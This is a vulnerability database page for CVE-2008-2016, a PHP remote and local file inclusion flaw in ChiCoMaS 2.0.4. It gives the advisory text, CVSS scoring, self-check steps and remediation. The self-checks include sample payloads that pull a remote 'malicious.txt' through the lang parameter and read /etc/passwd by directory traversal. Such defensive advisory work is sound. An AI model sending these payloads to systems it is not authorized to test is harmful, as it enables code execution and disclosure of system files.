CVE-2008-2016
Official description Straight from the sourceThe vendor's or NVD's own wording, published unedited. Authoritative, but often terse — it says what broke, rarely what to do.
NVD · uneditedPHP remote file inclusion vulnerability in Chilek Content Management System (aka ChiCoMaS) 2.0.4 allows remote attackers to execute arbitrary PHP code via a URL in the lang parameter to the default URI under install/. NOTE: this can also be leveraged to include and execute arbitrary local files via directory traversal sequences.
Technical summary Written by usOur analysis, written from the advisory, the CVSS vector and the affected-version data. It adds context the advisory leaves out, and never invents facts that are not in the source.
dbcve analysis · high confidencePHP remote file inclusion vulnerability in ChiCoMaS 2.0.4 allows remote attackers to execute arbitrary PHP code via a URL in the lang parameter under the install/ directory. The vulnerability also permits local file inclusion via directory traversal sequences.
Verify against the referenced sources before acting — the references below are authoritative for this CVE, this summary is not.
Affected products & versions What the vendor confirmedThe version ranges the vendor confirmed as vulnerable. If your version sits inside a range here, treat yourself as exposed until you have upgraded.
NVD · CPE data= 2.0.4CVSS breakdown How the score is builtThe industry scoring standard. It rates how the flaw is reached, what it takes to exploit, and what an attacker gains — the score is derived from those, not the other way round.
From the vector- Attack vector
- Network
- Complexity
- Low
- Authentication
- None
- Confidentiality
- Partial
- Integrity
- Partial
- Availability
- Partial
AV:N/AC:L/Au:N/C:P/I:P/A:P
Am I affected? How to checkSteps we derive from the advisory and the affected-version data, so you can decide whether this CVE reaches your setup. They are a guide, not a scan — your own configuration is the authority.
dbcve checksWork through these to decide whether this CVE applies to you.
-
Confirm ChiCoMaS installation and versionLocate the ChiCoMaS installation directory and identify the installed version by checking version files, headers, or the application itself. Compare the version number to the affected range: version 2.0.4.Affected if The installed version is exactly 2.0.4.
-
Verify install/ directory existsCheck for the presence of the install/ directory within the ChiCoMaS web root. Attempt to access it via HTTP to confirm it is web-accessible.Affected if The install/ directory exists and is accessible via the web.
-
Test lang parameter for RFI vulnerabilitySend an HTTP request to the install/ directory with a crafted lang parameter containing a URL to an external PHP file (for example: ?lang=http://example.com/malicious.txt?). Observe if the application attempts to include the external resource.Affected if The lang parameter accepts and processes a URL, causing the application to include remote content.
-
Test lang parameter for LFI vulnerabilitySend an HTTP request to the install/ directory with a directory traversal sequence in the lang parameter (for example: ?lang=../../../etc/passwd). Observe if the application returns contents of the target file.Affected if The lang parameter processes directory traversal sequences and returns local file contents.
A user is affected if ChiCoMaS version 2.0.4 is installed with the install/ directory accessible, and the lang parameter accepts URLs or traversal sequences.
Generated from the published advisory. Verify against your own configuration.
Remediation Closing itWhat it takes to close this. Where a vendor fix exists we point at it; where none exists we say so plainly, and can build one. Effort estimates are scoped from the advisory, not from your codebase.
From vendor dataRemove or disable the vulnerable install/ directory if not needed, or implement strict input validation on the lang parameter to block URL inclusion and directory traversal sequences; upgrade to a patched version if available.
- Consultation3.0 h
- Implementation2.0 h
- Testing3.0 h
- Review / QA2.0 h
An estimate, not a bill — we confirm scope with you before any work starts. Need it this week? Rush from $2,832.
Scan for this in your stack
Free · runs locallyCheck whether your project pulls in CVE-2008-2016 — or any other known-vulnerable package — straight from your lock files. Free and open source; it runs locally and uploads nothing.
References Go to the primary sourcePrimary sources — vendor advisories, patches and trackers. Where our summary and a reference disagree, the reference wins.
Primary sourcesPractitioner notes
ContributedPeer-ranked notes from engineers who’ve handled CVE-2008-2016 in production — separate from our analysis above.
The advisory tells you what broke. It rarely tells you what actually worked. If you’ve dealt with this one, that detail is what the next engineer is searching for.
- The version that genuinely resolved it — not the one the vendor claimed
- A config change or rule that shut the vector down
- A gotcha in the upgrade path that cost you an afternoon
No notes yet
Be the first to add a field note for this CVE — a mitigation you’ve verified, a version caveat, or a link to a working fix. Sign in above to contribute.
A place for practitioners to share what actually worked: a mitigation you’ve tested, a configuration change, a version- or environment-specific caveat, or a link to a verified patch. The most useful notes rise to the top as peers upvote them, so the signal stays high.
- Verified mitigations, workarounds, and config changes
- Version or environment caveats, and links to real fixes
- No weaponised exploit code, or anything meant to cause harm
- No spam, self-promotion, credentials, or personal data